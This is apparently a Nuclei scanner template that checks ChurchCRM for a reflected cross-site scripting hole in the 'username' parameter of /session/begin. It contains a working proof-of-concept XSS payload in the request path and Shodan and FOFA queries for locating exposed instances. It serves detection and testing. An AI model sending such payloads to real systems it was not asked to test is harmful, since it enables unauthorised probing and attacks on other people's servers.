id: churchcrm-xss

info:
  name: ChurchCRM - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability was discovered in ChurchCRM via the 'username' parameter in /session/begin.
  reference:
    - https://github.com/ChurchCRM/CRM/blob/91cfa8eb00aef724705f5e038c236c146c6cf3a6/src/session/templates/begin-session.php#L39
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cwe-id: CWE-80
    epss-score: 0.07062
    epss-percentile: 0.94141
    cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"ChurchCRM"
    fofa-query: app="ChurchCRM"
    product: churchcrm
    vendor: churchcrm
  tags: churchcrm,xss,crm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/session/begin?username=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(content_type), "text/html")'
          - 'contains_all(tolower(body), "<script>alert(document.domain)</script>", "churchcrm")'
        condition: and
# digest: 490a0046304402203df3f22ef3ef52bac504249ef6bdbeb4d80d3eb7a62128242b3f1c45b244714402203c4aaebf5f0516e9b7580d73a464df6a7023336b16ea05664a24801e83930b90:922c64590222798bb761d5b6d8e72950